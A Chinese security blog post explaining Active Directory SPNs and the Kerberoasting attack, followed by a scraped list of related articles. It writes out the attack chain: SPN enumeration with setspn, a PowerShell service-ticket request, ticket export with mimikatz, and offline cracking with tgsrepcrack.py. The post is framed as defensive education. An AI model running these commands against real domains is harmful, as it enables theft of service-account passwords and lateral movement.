安全技术 | 域渗透之SPN
Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。在内网中,SPN扫描通过查询向域控服务器执行服务发现,可以识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是Kerberoasting攻击的第一步。本文由锦行科技的安全研究团队提供,旨在通过对SPN进行介绍,帮助大家深入了解Kerberoasting攻击过程以应对该种攻击。
SPN
SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。
SPN分为两种类型:
1.一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。
2.一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。
SQLServer在每次启动的时候,都会去尝试用自己的启动账号注册SPN
在Windows域里,默认普通机器账号有权注册SPN:
域:test.com
机器名:W10b
域机器账号(system)
(手动注册)成功注册
普通域用户账号是没有权注册SPN:
域:test.com
机器名:W10b
普通域用户:test\fw
(手动注册)权限不够
这就会导致这样一个现象,SQL Server如果使用“Local System account”来启动,Kerberos就能够成功,因为SQL Server这时可以在DC上注册SPN。如果用一个普通域用户来启动,Kerberos就不能成功,因为这时SPN注册不上去。
在DC上为域账号赋予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的权限
勾上serverPrincipalName的读写权限:
再次使用普通域用户注册,成功注册
Kerberoasting攻击
域内的任何一台主机用户或普通域用户,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。
发现SPN
Setspn -Q */*
请求SPN
(powershell)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlsrv.test.com:1433"
导出票据
mimikatz # kerberos::list /export
破解票据
https://github.com/nidem/kerberoast
python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@MSSQLSvc~sqlsrv.test.com~1433-TEST.COM.kirbi"
如果得到的是一个有权注册SPN的域账号,也可以通过手动注册的方式来进行Kerberoasting攻击。
安全技术 | 域渗透之SPN相关推荐
- 域渗透-SPN与kerberoast攻击
一:SPN服务主体名称 SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP.MSSQL.MySQL等服务)的唯一标识符. 1.1:SPN介绍 Kerbero ...
- 《域渗透攻防指南》签名版预售来啦
千呼万唤始出来!终于,在广大粉丝翘首期盼下,国内首本专门讲述域内攻防的书籍<域渗透攻防指南>在2022年最后一个月和大家见面了.为了回馈粉丝的等待,让粉丝早日拿到心仪的书,特此联合机械工业 ...
- 13、域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍
简介和背景 2014年,Emmanuel Gras和LucasBouillot在" 信息通信技术研讨会"(Symposiumon Information and Communica ...
- 域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍
本文讲的是域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍, 简介和背景 2014年,Emmanuel Gras和Lucas Bouillot在" 信息通信技术研讨会 ...
- 从Github一开源项目ADSEC【学习域渗透攻防基础】
学习的开源项目是: https://github.com/cfalta/adsec 有些地方是直接Google 翻译过来的. 注意:本人域渗透新手,很多问题都不懂,有问题欢迎大哥后台留言啊!!! La ...
- 渗透测试入门9之域渗透
渗透测试入门9之域渗透 信息搜集 powerview.ps1 Get-NetDomain - gets the name of the current user's domain Get-NetFor ...
- 域渗透之基于资源的约束委派
域渗透之基于资源的约束委派 注意:server2012才引入了基于资源的约束委派!!! 无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是 可转发 ...
- 域渗透基础知识(二)之活动目录 Active Directory 的查询
目录 Active Directory Active Directory 的查询基础语法 什么是BaseDN 什么是Naming Context 什么是LDAP(轻量级目录访问协议) 过滤规则 LDA ...
- 域渗透委派攻击之约束委派
约束委派 约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非 ...
最新文章
- U平方Net:深入使用嵌套的U型结构进行显著目标检测
- 前期优达无人驾驶对课程评价
- linux获取目标主机shell,expect案例-批量获取主机并分发密钥
- 这一两天要做的事--关于Altera FPGA首先要搞清楚的几个问题 以及解答
- postman-常见问题解决方案记录
- python 目录 文件名_python目录与文件名操作
- 在 Perl 中使用 Getopt::Long 模块来接收用户命令行参数
- dom4j Document的基本操作
- [转]C# 实现Jwt bearer Authentication
- UCDOS SDK FOR C/C++ 1.0 说明文件
- 适合计算机社团活动的游戏,适合大学社团活动“游戏”有哪些?
- 用html写的意见调查表代码
- 服务器集群虚拟机,服务器集群虚拟机
- c++运行时报Floating point exception错误
- When you are old - 当你老去时(译)
- 流向的改变(direciton与unicode-bidi)
- SpringCloud Admin监控界面解释
- 支付宝支付sdk解析
- Java实现QQ第三方登录
- dnf加物理攻击的卡片有哪些_DNF加物理攻击力的附魔宝珠有哪些
热门文章
- 近似值问题(fabs( ) >= 1e-6)
- android手机无法进行remount
- codeforces 1311D(暴力)
- python数字大小写转换代码_【经验分享】20个Python代码段,好用到哭!
- FastReport.Net 中的条形码问题
- 补充:频域特征值提取的MATLAB代码实现(小波分析)
- 漫谈互联网历史【9】- 90年代:互联网时代的来临
- Linux文件查看相关命令--cat,tail,head等等
- log softmax的梯度求解 (Gradient of log(softmax) )
- 如何更改HTTP代理的ip地址